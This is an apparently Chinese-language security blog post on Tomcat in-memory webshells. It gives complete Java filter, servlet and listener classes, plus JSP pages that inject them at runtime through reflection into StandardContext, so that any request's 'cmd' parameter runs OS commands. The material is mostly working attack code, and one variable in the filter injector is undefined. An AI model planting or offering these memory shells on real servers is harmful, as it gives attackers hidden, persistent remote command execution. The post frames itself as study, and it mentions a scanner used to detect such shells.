兔子的种类有四种,大兔子、小兔子、肥兔子、瘦兔子。其中肥兔子的头最好吃。
内存马的形式有三种,filter、servlet、listener,优先级为listener>filter>servlet。
最近超级无敌忙,差点又忘了自己有个公众号。
发一篇库存大家一起学习一下叭。
filter内存马
直接本地复现。
pom.xml中加入。
代码语言:javascript复制 配置Filter的类路径
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
配置HelloFilter拦截的Servlet的映射路径
<!-- https://mvnrepository.com/artifact/jstl/jstl -->
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
否则新建不了filter。
新建一个filter类。
代码语言:javascript复制package study;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
@WebFilter(filterName = "Filter")
public class Filter implements javax.servlet.Filter {
public void destroy() {
System.out.println("destroy");
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req1 = (HttpServletRequest) req;
if (req1.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req1.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
return;
}
chain.doFilter(req, resp); //放行
}
public void init(FilterConfig config) throws ServletException {
System.out.println("init");
}
}
在web.xml加入过滤器filter以及filter-mapping。
这里就是指定需要拦截的内容。
代码语言:javascript复制# 对应filterDefs
<filter>
<filter-name>FirstFilter</filter-name>
<filter-class>study.Filter</filter-class>
</filter>
# 对应filterMaps
<filter-mapping>
<filter-name>FirstFilter</filter-name>
<url-pattern>/yodidi</url-pattern>
</filter-mapping>
运行tomcat,就可以生成filter的内存马。
在servlet3.0开始。
提供了动态注册filter、Servlet。
先看filter如何被添加。
addfilter方法源自org.apache.catalina.core.ApplicationContextFacade。
追踪addfilter方法。
442行判断context容器的状态。
如果不是before_start即初始化状态。
就会报错。
但是这里addFilter主要还是新建了一个filterDef。
然后调用449行的this.context.addFilterDef(filterDef)用反射方式进行添加。
tomcat的filter的创建源自StandardWrapperValve的createFilterChain方法。
跟进createFilterChain方法。
首先先从StandardContext对象中获取filterMaps 。
然后循环遍历filterMaps。
filterMaps有自己加进去的过滤器(/yodidi)。
最后再添加到filterChain(过滤链)。
方法返回filterChain。
当构造好了filterDef。
但是并没有把它加进filterMaps里。
这里进行手动添加进filterMaps。
(filterDefs存放了filter的定义,比如名称跟对应的类)。
standardContext.addFilterMapBefore()这个方法是将创建的filterMap放置在第一位。
如果不在第一位。
可能网站原有的其他过滤器根据filterChain过滤链从头到尾执行的顺序。
所以放到最前面是有必要的哦!
跟进addFilterMapBefore。
跟进addBefore。
能看到利用了arraycopy进行了数组的复制。
arraycopy直接将传入的filterMap放在了首位。
还需要一步。
将filter添加进filterConfigs当中。
(filterConfigs除了存放了filterDef还保存了当时的Context)。
而这里。
可以在StandardContext#filterStart看到遍历了filterDefs当中filterName。
然后把对应的name添加到filterConfigs。
那就可以在构造器实例化的时候。
把filterConfig 加入到 filterConfigs 当中。
方法还是反射。
完整jsp代码生成内存马在后面。
servlet内存马
新建一个servlet类。
代码语言:javascript复制package study;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class servletDemo implements Servlet {
public void init(ServletConfig servletConfig) throws ServletException { }
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo() {
return null;
}
public void destroy() {}
}
在web.xml中加入。
代码语言:javascript复制<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>study.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/yodidi3</url-pattern>
</servlet-mapping>
运行tomcat,即可生成servlet的内存马。
tomcat的一个Wrapper代表一个Servlet。
而之前在动态加载filter的时候。
通过standardContext里的addFilterDef以及addFilterMap来完成了filter的动态添加。
这里standardContext的createWrapper方法也能进行Wrapper的动态添加。
新建的Wrapper对象并不在StandardContext的children里。
我们可以通过StandardContext#addChild 把它加到 StandardContext 的children里。
完整jsp代码生成内存马在后面。
①用jsp进行注入listener内存马
代码语言:javascript复制<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd).getInputStream();
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>
访问jsp会产生内存马。
如图:
访问之前。
执行命令失败辽。
?cmd=open/System/Applications/Calculator.app/Contents/MacOS/Calculator
访问之后。
再次执行命令
②用jsp进行注入filter内存马
大致流程如下:
- 创建恶意filter。
- 用filterDef对filter进行封装。
- 将filterDef添加到filterDefs与filterConfigs中(获取filterDef为filterConfig,将filterConfig添加进filterConfigs)。
- 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Field" %>
<%!
// 创建恶意filter类
Filter filter = new Filter(){
@Override
public void init(FilterConfig arg0) throws ServletException {
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
arg1.getWriter().write(output);
arg1.getWriter().flush();
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
}};
%>
<%
FilterDef filterDef = new FilterDef();
String didi = "yodidi1filter";
// 用filterDef对filter进行封装
filterDef.setFilterName(f0ng);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// 获取context
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 将filterDef添加到filterDefs
standardCtx.addFilterDef(filterDef);
// 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/yodidi1");
// 通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中
// 通过反射获取filterConfig对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
// 通过反射获取filterConfigs对象
Field field = StandardContext.class.getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx);
filterConfigs.put(didi, filterConfig);
%>
访问jsp即会产生内存马。
没访问jsp之前。
(这里用到的工具来源?https://github.com/c0ny1/java-memshell-scanner)
访问jsp以后。
恶意filter出来辽。
命令执行完成。
③用jsp进行注入servlet内存马
大致流程如下:
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("yodidi");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/l1nk3r","yodidi");
%>
访问jsp即会产生内存马!
访问之前。
访问之后。
恶意servlet就出来了!
盘点一下遇到的坑:
1.在进行jsp的filter注入内存马的时候。
在构造器实例化的时候把filterConfig加入到filterConfigs当中。
需要进行反射获取到filterConfigs。
当然filterConfig也需要通过反射获取。
代码语言:javascript复制Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
代码语言:javascript复制Field field = StandardContext.class.getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx);
2.会遇到Unable to compile class for JSP报错。
美女的第一反应当然是百度搜索的,但是百度搜出来的全部没用(无情诋毁一波)。
有说标签的,有说jdk版本的,切换来切换去,还是没解决问题。
后来仔细看报错,嘻嘻发现报错信息是import了一个package,删去就可以了。
3.如果需要调试Tomcat的话,在pom.xml中加入:
代码语言:javascript复制<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.3</version>
<scope>provided</scope>
</dependency>
辣就不需要用本地的Tomcat了
4.这里大佬的工具好像只能查杀Servlet和filter的,对于listener的内存马没有处理办法,会不会listener的内存马更为隐蔽,这个问题还需要后面再去学习学习。
放上参考?(我是一个好孩子):
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&chksm=f2582de5c52fa4f30bdccbf8263c53c1d034a3d34efdce180ae6eb0b007e84bac53d1c713e58&mpshare=1&scene=24&srcid=1203mPmLiRrx7jwKjUnHj7Oj&sharer_sharetime=1606965116595&sharer_shareid=29bf660e8cd9bc3e5265cd30046762d4#rd
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
http://foreversong.cn/archives/1547
另外:我们组招人辽!!社招也要!大佬们找我投简历哇!
请多多指教
peko!!!